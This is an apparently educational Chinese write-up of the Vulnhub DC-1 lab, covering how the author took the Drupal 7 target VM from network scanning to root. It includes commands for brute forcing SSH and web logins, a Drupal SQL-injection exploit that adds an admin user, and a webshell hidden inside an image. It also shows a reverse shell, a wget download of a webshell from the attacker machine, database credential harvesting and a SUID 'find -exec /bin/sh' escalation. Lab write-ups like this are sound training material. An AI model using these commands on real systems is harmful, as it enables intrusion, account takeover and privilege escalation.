Vulnhub DC-1靶机渗透攻击过程演练
DC-1介绍
Vulnhub 世界各地的安全爱好者提供的者提供的许多靶机环境,DC-1 就是其中之一。通过对靶机的攻击挑战,加强对渗透攻击过程思路的理解,总结渗透测试经验。 在介绍中了解到,DC-共有5个靶机flag,最终目标是root在目录中找到并读取flag。可以不用root但需要用户root用户权限。
环境准备
序号 | 名称 | 用途 | 备注 |
---|---|---|---|
1 | DC-1靶机 | 受攻击主机 | VMware环境部署 |
2 | Kali | 攻击主机 | VMware在渗透过程中使用环境部署Kali上多种工具 |
3 | 其他 | Webshell管理工具等 | 可以在Windows下运行也可以找到Kali运行的 |
搭建DC-1靶机
- 从Vulnhub社区下载DC-1.虚拟机镜像
- 解压得到.ova文件,导入VMware,创建虚拟机
- 修改虚拟机的网卡配置,让DC-虚拟功能自动获取IP建议选择地址nat模式
- 开启DC-1虚拟机不需要登录DC-1虚拟机操作
部署安装Kali
Kali镜像下载地址: https://www.kali.org/get-kali/ 下载iso镜像引导安装,或下载WM直接导入虚拟机文件 建议简化实验环境,方便演练Kali网卡也使用nat模式
准备其它工具
- webshell:小马(一句话木马)
- webshell如: Behinder(冰蝎)、Godzilla(哥斯拉),AntSword(蚁剑)、中国菜刀等 这里使用的冰蝎,一个优秀的webshell管理工具,支持加密连接,各种变形绕过防御。 下载工具解压后,在server有几个常用的目录 webshell 可以使用。
Windows环境
需要先安装jdk1.并配置环境变量 从官网下载Oracle jdk 1.8.注册账号需要登录 https://www.oracle.com/java/technologies/downloads/#java8-windows 配置步骤:
- 双击.exe按提示逐步完成安装程序
- 新建下表中的三个系统变量:
- 检查环境变量配置,cmd窗口中输入
java -vresion
序号 | 变量名 | 变量值 |
---|---|---|
1 | CLASSPATH | .;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar |
2 | Path | %JAVA_HOME%\bin;%JAVA_HOME%\jre\bin; |
3 | JAVA_HOME | C:\Program Files\Java\jdk1.8.0_291 |
注意: JAVA_HOME 根据实际安装路径配置变量值 Java 环境变量配置后,双击解压 Behinder.jar 打开冰蝎
Kali环境
wget https://github.com/rebeyond/Behinder/releases/download/Behinder_v3.0_Beta_11/Behinder_v3.0_Beta_11.t00ls.zip unzip Behinder_v3.0_Beta_11.t00ls.zip
java -jar Behinder.jar
直接操作可能会提示错误: 缺乏错误的提示javafx需要单独下载环境javafx SDK 的lib将目录复制到冰蝎座的同一目录 Kali 默认安装是 openjdk 我在这里换成了 Oracle jdk 11,再下载 javafx SDK 解压后得到 lib 复制到冰蝎的目录,没有测试 openjdk 直接复制11环境。理论上是一样的,不需要替换 Oracle jdk,下载 javafx SDK 解压拷贝即可。 注:一般不建议更改 Kali 的 JDK 版本,因为 Kali 其他工具依赖于现有版本 JDK 从官网下载Oracle jdk 11需要登录注册账号 https://www.oracle.com/java/technologies/downloads/#java11 解压安装jdk 11
tar -zxvf jdk-11.0.13_linux-x64_bin.tar.gz mv jdk-11.0.13 /opt/ update-alternatives --install /usr/bin/java java /opt/jdk-11.0.13/bin/java 1 update-alternatives --install /usr/bin/javac javac /opt/jdk-11.0.13/bin/javac 1 update-alternatives --set java /opt/jdk-11.0.13/bin/java update-alternatives --set javac /opt/jdk-11.0.13/bin/javac java -version
下载 javafx SDK:https://openjfx.cn/dl/
unzip openjfx-11.0.2_linux-x64_bin-sdk.zip # 解压 cd javafx-sdk-11.0.2 ls cp -rf lib /home/kali/Desktop/lib # 复制到Behinder.jar所在目录
切换到 Behinder.jar 目录,再次运行 java -jar Behinder.jar
渗透过程
收集信息
扫描域名等目标探测,IP、打开端口,确认软件版本、框架版本等
扫描IP
DC-自动获取1靶机IP,且和Kali可用于同一局域网nmap扫描KaliC段试图找到目标IP 首先 ifconfig/code> 查看Kali IP 为:192.168.64.134
nmap -sP 192.168.64.0/24
扫描C段中存活的主机,192.168.64.135就是目标靶机的IP了
扫描端口
nmap -T4 -sC -sV 192.168.64.135
扫描目标靶机的开放端口,可以看到一些有用的信息:
- 22/TCP openssh版本 6.0p1
- 80/TCP apche httpd 版本2.2.22、使用了 Drupal 7 (CMS 开源框架,PHP语言编写)
- 111/TCP rpcbind 服务器
查看Web
访问目标靶机的80端口:http://192.168.64.135 ,是Drupal 7 后台管理web的登录页面
漏洞挖掘
首先尝试从弱密码入手
ssh弱密码
先使用**Metasploit Framework(简称MSF)**枚举用户名,然后尝试爆破密码
msfconsole # 开启MSF
search ssh_enum # 查找ssh_enum关键字相关exp
use auxiliary/scanner/ssh/ssh_enumusers # 或 use 0 (数字0为上面search列出结果的编号)
show options # 查看选项,根据选项中的描述信息配置参数
#这个exp中需要配置的参数:
set rhost 192.168.64.135 # 设置目标主机IP
set USER_FILE /home/kali/userlist.txt # 设置用户名文件路径(此文件为提前编辑好的文件)
run # 开始跑exp
枚举用户名列表如下,这里只列了几个常用的用户名 结果显示 SSH - User 'root' found
,root用户存在。 接下来是使用字典爆破root用户的密码,工具的选择有很多,可以看文末的参考链接,这里使用 **hydra(九头蛇)**进行爆破
hydra -h # 查看帮助
hydra -l root -P passwd.txt -t 30 192.168.64.135 ssh # -t 30 表示开启30个任务并发去爆破目标
新建测试的字典,passwd.txt 显然字典太弱鸡,没有爆出密码 若爆破成功,会出现下面提示:
web弱密码
Kali 上打开 burpsuite 设置代理(默认已配置) firefox 添加代理扩展插件 输入关键字 proxy 搜索 挑一个自己喜欢的代理插件,这里选择 Proxy SwitchyOmega 添加代理插件后,右上角菜单栏圆形图标就是 Proxy SwitchyOmega,选择options 去设置代理 改个名称,后续直接点击圆形图标,选择对应的代理名称就可以开始抓包了 开启代理后,brupsuite 抓到包会弹出提示,如下图 Forward 向前,表示放行当前抓的包,Drop 则是丢弃停止发送数据包到服务器 回到Firefox ,访问 http://192.168.64.135 打开Drupal 的登录页面,任意输入用户名密码登录 burpsuite 抓到包并弹出提示,可以看到刚刚输入的用户名密码 admin /admin 为明文传输 接着进行爆破尝试,在当前包的页面鼠标右键菜单中选择 Send to Intruder 选择 Intruder 的 Position,先删除全部 payload 标记 依次选择用户名和密码的位置,标记为 payload 攻击类型选择 pitchfork 切换到 payload ,在payload set 1 (即用户名的变量设置)中,添加两个较为可能的用户名:adimin 、root 在payload set 2 (即密码的变量设置)中,载入密码字典 点击 Start Attack 开始爆破攻击 社区版本功能有限制,可以在网上找其他版本 那就只能设置固定用户名,密码作为 payload 依次去爆破 在输出的结果中,观察 Status(即返回状态码)和 Length(数据包长度),可以排序方便查看 若登录成功,一般情况下,状态码和数据包长度的值会发生变化,下图是爆破成功的例子: 但是需要注意的一点,如果线程太高,爆破太过频繁,网站会将攻击主机的IP锁死,如下图: 很遗憾,web弱密码的爆破也是以失败告终
寻找其他工具、CVE和EXP
在搜索引擎、论坛、博客、GitHub上查找
GitHub上有个CMS扫描器 droopescan,介绍中写支持Drupal,正好可以在Kali安装扫描DC-1试试 按照作者的安装说明,使用推荐的pip安装
apt-get install python3-pip
pip install droopescan
droopescan -h
查看帮助 droopescan scan drupal -u http://192.168.64.135
开始扫描靶机试试 在输出的扫描结果中,可以看到:
- plugins:脚本语言PHP
- 可能的版本:7.22~7.26
- 用户登录页面 其他看不太懂,好像没有什么可以利用的
上cve和exp网站查
cve: https://www.cvedetails.com/ exp: https://www.exploit-db.com/ 可以通过 https://www.cvedetails.com/ 这个网站搜索到某个软件的各个版本的CVE。score(分值)越高的CVE,漏洞危害越大或越容易被利用;反之,分值小则说明这个CVE被利用所造成的危害程度较小或利用条件较为苛刻。CVE中也详细说明了受影响的软件版本,以及漏洞类型等 https://www.exploit-db.com/ 这个网站上有大量的经过或未经验证的 exp,其实有很多exp实际上已经集成到 Kali 上了,可以直接在 Kali 搜索并使用
Kali 漏洞库搜索
在 Kali 上搜索 exp,除了上文 ssh弱密码 中提到的,在 msfconsole 去 search 若msf中找到的exp太少,还可以使用 searchsploit drupal
搜索的结果明显是比msf的exp多
漏洞利用
我们再过滤一下 searchsploit drupal |grep 7
droopescan扫描结果中的可能的版本是7.22~7.26,那就选择符合条件的exp,这里有一个 SQL 注入添加admin用户的exp locate php/webapps/34992.py
查询到这个exp文件路径,然后拷贝到当前目录下,方便查看使用(建议查询前先执行 updatedb
更新locate的数据库) 这个exp是一个python脚本,仔细查看脚本,可以发现exp的用法 测试:创建一个用户名密码为abc的账户 python 34992.py -t http://192.168.64.135 -u abc -p abc
提示创建成功 web登录测试,成功! 再web页面随意点点,就看到了第一个flag flag3是靶机作者的温馨提示:需要执行什么命令来找到密码。不太明白,按正常的思路,继续收集信息看看,发现用户信息编辑这里可以上传图片 测试看看有没有文件上传的漏洞,补充页面上的必填信息,上传一张jpeg的图片 提示修改成功,可以看到上传的图片 接着再上传一个webshell,看看会有什么反应。不过在真实的攻击环境不会这么直接,因为很容易被防火墙识别并拦截掉。这里靶机环境就直接上传冰蝎server目录下的 shell.php,这个 webshell 的默认链接密码 rebeyond 果然是不行的,提示信息中显示,shell.php 被重命名为 shell.php.txt 了,且网站只支持上传jpeg、png、gif后缀的图片。此时我们可以用burpsuite 代理抓包,上传 jpeg后缀的webshell。jpeg后缀的webshell,一种方法是将shell.php直接改名为shell.jpeg,有可能会校验非图像文件,不让上传;另外一种方法就是在真正的图片中插入webshell代码。 先是直接上shell.jpeg 看看 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yp6gisM7-1638185905505)(Vulnhub-DC_1%E9%9D%B6%E6%9C%BA%E6%B8%97%E9%80%8F%E6%94%BB%E5%87%BB%E8%BF%87%E7%A8%8B%E6%BC%94%E7%BB%83.assets/image-20211119130030440.png)] 不允许上传 那就试试第二种方法
cd /home/kali/Desktop/server && ls
cd /home/kali/Downloads && ls
cat /home/kali/Desktop/server/shell.php >> 1.jpeg # 将shell.php的文件内容追加到1.jpeg末尾
tail -n 30 1.jpeg
查看 1.jpeg 文件的末30行,可以看到我们的webshell脚本 因为文件头部是正常的,图片也还是可以正常打开显示 再次上传测试,上传之前我们先把图片改个名 forward 之后,可以看到web页面提示上传成功 webshell 是成功上传到服务器了,怎么利用到这个 webshell 是个问题 鼠标点击上传的图片,并不像有些网站,可以直接跳转链接到这个图片的地址来放大预览,只是跳转到这个user/5的信息页面上 但是可以通过分析 burpsuite 抓到的数据包,有可能会找到更多的信息 src=“http://192.168.64.135/sites/default/files/styles/thumbnail/public/pictures/picture-5-1637323156.jpg?itok=r1FbjuEj” 仔细观察这个url,可以发现图片被改成jpg了,编码格式发生了变化,很有可能插入到里面的webshell代码已经没有了,这个url也是不能直接访问到的 文件上传这条路行不通,只能找其他exp来试试,各种查找,在msf中有个反弹shell的exp拿来试试 反弹shell建立后, ls
就看到了 flag1 仔细观察会发现这里有个sites目录,一层一层进去,就会发现这个就是前面图片上传的真实目录,为了验证,我这里重新又上传了几次带webshell的图片,所以名称和之前burpsuite抓包的不一样,但有一点是可以确定的,追加到末尾的webshell代码不见了 cat flag1.txt
DC-1作者的提示是找drupal 的config文件 再发一个shell,在这个连接中交互,可以更好的执行Linux命令,敲 whoami
返回用户名是www-data,是个低权限的用户 既然前面上传的webshell不能访问,索性试下能不能从服务器上直接下载一个webshell到/var/www目录下,因为这个index的目录一般情况都可以访问到 先试试wget或curl命令能不能用,输入 wget -h
或 crul -h
有返回就说明命令可以使用 那就用 wget 把Kali上的冰蝎webshell下载到靶机上,在冰蝎的目录下执行 python3 -m http.server
快速开启一个http的服务 浏览器访问测试 再反弹shell的DC-1靶机上去下载webshell,注意文件的路径 下载完,ls
确认文件已经成功下载到靶机 浏览器访问正常 使用冰蝎连接测试 成功连接到webshell 冰蝎webshell中除了有命令执行,还有一个文件管理,可以树状结构查看当前用户有权限访问的文件,更直观一些。回过头看flag1.txt的提示:Every good CMS needs a config file - and so do you. 应该是要找到某个配置文件,再仔细翻一翻,搜集更多的可用信息。 这里有个取巧的方法:
find /var/www/ -iname "*flag*" # 在/var/www/目录下搜索文件名中含有“flag”的文件
grep -rin flag2 /var/www # 在/var/www/目录下搜索含有“flag2”的文件
找到一个含有 “flag2” 的文件,是在 /var/www/sites/default/settings.php 文件中的第5行 cat /var/www/sites/default/settings.php
查看这个文件,可以作者的flag提示,还有数据库的信息 按作者的设计逻辑,flag2应该是为拿到flag3做出的提示。而flag2的大概意思是:暴破不是拿到权限的唯一方法(你将需要访问权限),你能用这些证书做什么? 后续可以再研究一下flag3,看看php/webapps/34992.py这个exp是否用到了作者提示的证书,如果没有用到,那作者提到的证书又改如何利用? 使用上面的数据库信息去连接测试,数据库连接成功 展开左侧的数据库,可以看到有个users表,里面有uid、name、pass这些列。直接执行SQL语句 select * from users
查询到所有的用户信息。但不知为什么前面exp创建的abc用户不在这里,于是我利用exp再次创建了一个aaaaa的用户,密码为aaaaa 这里的用户都是web后台登录的用户,权限应该是一样的,费心思去拿admin的权限,好像意思也不大,这里做个测试。密码虽然是加密的,但是我们可以用sql语句把它改成和已知密码一样的字符串,就比如aaaaa admin的密码就改成了aaaaa,登录测试成功 翻译一下flag3的提示:特殊的PERMS将帮助查找passwd——但您需要执行该命令,以确定如何获取隐藏的内容。passwd应该指的一个文件,并且需要提权才能访问到,用前面寻找flag2的方法,根目录下再仔细找找看
find / -iname "*flag4*" # 在/目录下搜索文件名中含有“flag4”的文件
grep -rin flag4 / # 在/目录下搜索含有“flag4”的文件
很简单就找到了flag4,而且不难看出,flag4是一个用户名 还剩下最后一个flag,没有关键字“flag5”,只能搜关键字”flag“看,不过也很简单,一下就找到了 thefinalflag.txt 这个finalflag是在/root,普通用户是没有权限查看的,只能想办法提权了
权限提升
使用find命令查找有特殊权限suid的命令,suid可以给予访问者这个文件的临时权限,如果权限为root的话当访问者调用这个程序时访问者权限临时变为root
find / -perm -4000 # 查找具有suid权限的文件,4000是suid的代号
find /var/www -name shell.php -exec "/bin/sh" \; # 指定一个文件名去find,/bin/sh调用shell
whoami # 查看权限
cat /root/thefinalflag.txt # 查看thefinalflag.txt
正如DC-1作者在介绍中写的:最后一个flag在root目录中,可以不用拿到root用户,但是可以用root用户权限读取到这个flag文件。 至此,全部flag都拿到了!但是并没有按作者的设计思路顺序地拿到每一个flag,这也说明渗透攻击的方法可以有很多种,并不局限于特定的某种方法,需要有一定渗透思路,结合Linux、数据库、web知识,以及常见漏洞原理和渗透工具的使用等,再打出一套漂亮的组合拳。
flag号
路径
flag1
/var/www/flag1.txt
flag2
/var/www/sites/default/settings.php 文件中的第5行
flag3
web页面中的内容
flag4
/home/flag4/flag4.txt
thefinalflag
/root/thefinalflag.txt
参考文章
https://www.freebuf.com/articles/web/293407.html https://blog.csdn.net/weixin_47975351/article/details/119996517 Kali爆破使用方法:https://blog.csdn.net/weixin_44286136/article/details/110634277 searchsploit漏洞查找工具使用指南: https://www.freesion.com/article/1052595730/ find 命令详解:https://www.runoob.com/linux/linux-comm-find.html suid权限说明:https://www.jianshu.com/p/4ea1e6aa2aa7